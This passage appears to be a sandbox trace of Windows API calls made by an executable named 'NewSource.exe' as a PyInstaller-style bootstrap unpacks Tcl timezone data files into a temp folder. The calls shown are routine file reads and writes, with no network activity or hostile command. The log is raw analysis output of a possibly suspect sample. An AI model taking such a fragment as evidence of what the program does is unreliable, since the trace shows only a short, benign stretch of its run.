| out: lpSystemTime=0x4f8cd8) returned 1 [0037.950] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.950] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.950] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.950] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.950] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.950] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.950] CloseHandle (hObject=0x10c) returned 1 [0037.950] GetLastError () returned 0x0 [0037.950] SetLastError (dwErrCode=0x0) [0037.950] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0037.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.950] GetFileType (hFile=0x10c) returned 0x1 [0037.951] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.951] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.951] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.951] CloseHandle (hObject=0x10c) returned 1 [0037.951] GetLastError () returned 0x0 [0037.951] SetLastError (dwErrCode=0x0) [0037.951] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0037.951] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.951] GetFileType (hFile=0x10c) returned 0x1 [0037.951] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.951] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.951] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.951] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.951] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.952] CloseHandle (hObject=0x10c) returned 1 [0037.952] GetLastError () returned 0x0 [0037.952] SetLastError (dwErrCode=0x0) [0037.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Algiers") returned 71 [0037.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Algiers" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\algiers"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.952] GetLastError () returned 0x2 [0037.952] SetLastError (dwErrCode=0x2) [0037.952] GetLastError () returned 0x2 [0037.952] SetLastError (dwErrCode=0x2) [0037.952] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Algiers", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Algiers", lpFilePart=0x0) returned 0x46 [0037.952] GetLastError () returned 0x2 [0037.952] SetLastError (dwErrCode=0x2) [0037.952] GetLastError () returned 0x2 [0037.952] SetLastError (dwErrCode=0x2) [0037.952] GetLastError () returned 0x2 [0037.952] SetLastError (dwErrCode=0x2) [0037.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Algiers") returned 71 [0037.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Algiers" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\algiers"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.952] GetFileType (hFile=0x10c) returned 0x1 [0037.952] htonl (hostlong=0x11040000) returned 0x411 [0037.953] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.953] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x411, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x411, lpOverlapped=0x0) returned 1 [0037.954] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.954] CloseHandle (hObject=0x10c) returned 1 [0037.955] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550768 | out: hHeap=0x530000) returned 1 [0037.955] htonl (hostlong=0x30000000) returned 0x30 [0037.955] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.955] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.955] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.955] GetFileType (hFile=0x10c) returned 0x1 [0037.955] htonl (hostlong=0x48375800) returned 0x583748 [0037.955] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ce748, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.955] htonl (hostlong=0x9e000000) returned 0x9e [0037.955] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0037.955] htonl (hostlong=0x9e000000) returned 0x9e [0037.955] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.955] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.955] htonl (hostlong=0xcb000000) returned 0xcb [0037.955] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcb) returned 0x545ff8 [0037.956] htonl (hostlong=0x9e000000) returned 0x9e [0037.956] htonl (hostlong=0xcb000000) returned 0xcb [0037.956] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.956] CloseHandle (hObject=0x10c) returned 1 [0037.956] GetLastError () returned 0x0 [0037.956] SetLastError (dwErrCode=0x0) [0037.956] GetLastError () returned 0x0 [0037.956] SetLastError (dwErrCode=0x0) [0037.956] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.956] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.956] GetFileType (hFile=0x10c) returned 0x1 [0037.956] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.956] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.956] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.956] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.956] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.956] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.956] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.956] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.956] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.956] CloseHandle (hObject=0x10c) returned 1 [0037.957] GetLastError () returned 0x0 [0037.957] SetLastError (dwErrCode=0x0) [0037.957] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0037.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.957] GetFileType (hFile=0x10c) returned 0x1 [0037.957] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.957] CloseHandle (hObject=0x10c) returned 1 [0037.957] GetLastError () returned 0x0 [0037.957] SetLastError (dwErrCode=0x0) [0037.957] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0037.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.957] GetFileType (hFile=0x10c) returned 0x1 [0037.957] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.957] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.957] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.957] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.958] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.958] CloseHandle (hObject=0x10c) returned 1 [0037.958] GetLastError () returned 0x0 [0037.958] SetLastError (dwErrCode=0x0) [0037.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmara") returned 70 [0037.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmara" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\asmara"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.958] GetLastError () returned 0x2 [0037.958] SetLastError (dwErrCode=0x2) [0037.958] GetLastError () returned 0x2 [0037.958] SetLastError (dwErrCode=0x2) [0037.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmara", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmara", lpFilePart=0x0) returned 0x45 [0037.958] GetLastError () returned 0x2 [0037.958] SetLastError (dwErrCode=0x2) [0037.958] GetLastError () returned 0x2 [0037.958] SetLastError (dwErrCode=0x2) [0037.958] GetLastError () returned 0x2 [0037.958] SetLastError (dwErrCode=0x2) [0037.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmara") returned 70 [0037.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmara" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\asmara"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.958] GetFileType (hFile=0x10c) returned 0x1 [0037.959] htonl (hostlong=0xcb000000) returned 0xcb [0037.959] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.959] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xcb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xcb, lpOverlapped=0x0) returned 1 [0037.959] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.960] CloseHandle (hObject=0x10c) returned 1 [0037.960] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545ff8 | out: hHeap=0x530000) returned 1 [0037.960] htonl (hostlong=0x30000000) returned 0x30 [0037.960] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.960] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.960] GetFileType (hFile=0x10c) returned 0x1 [0037.960] htonl (hostlong=0xe6375800) returned 0x5837e6 [0037.960] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ce7e6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.960] htonl (hostlong=0x85000000) returned 0x85 [0037.960] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85) returned 0x55cfe0 [0037.960] htonl (hostlong=0x85000000) returned 0x85 [0037.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.961] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.961] htonl (hostlong=0xb0000000) returned 0xb0 [0037.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb0) returned 0x550600 [0037.961] htonl (hostlong=0x85000000) returned 0x85 [0037.961] htonl (hostlong=0xb0000000) returned 0xb0 [0037.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.961] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.961] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.961] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.961] CloseHandle (hObject=0x10c) returned 1 [0037.961] GetLastError () returned 0x0 [0037.961] SetLastError (dwErrCode=0x0) [0037.961] GetLastError () returned 0x0 [0037.961] SetLastError (dwErrCode=0x0) [0037.961] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.961] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.961] GetFileType (hFile=0x10c) returned 0x1 [0037.961] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.961] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.961] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.961] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.961] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.961] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.961] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.961] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.962] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.962] CloseHandle (hObject=0x10c) returned 1 [0037.962] GetLastError () returned 0x0 [0037.962] SetLastError (dwErrCode=0x0) [0037.962] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 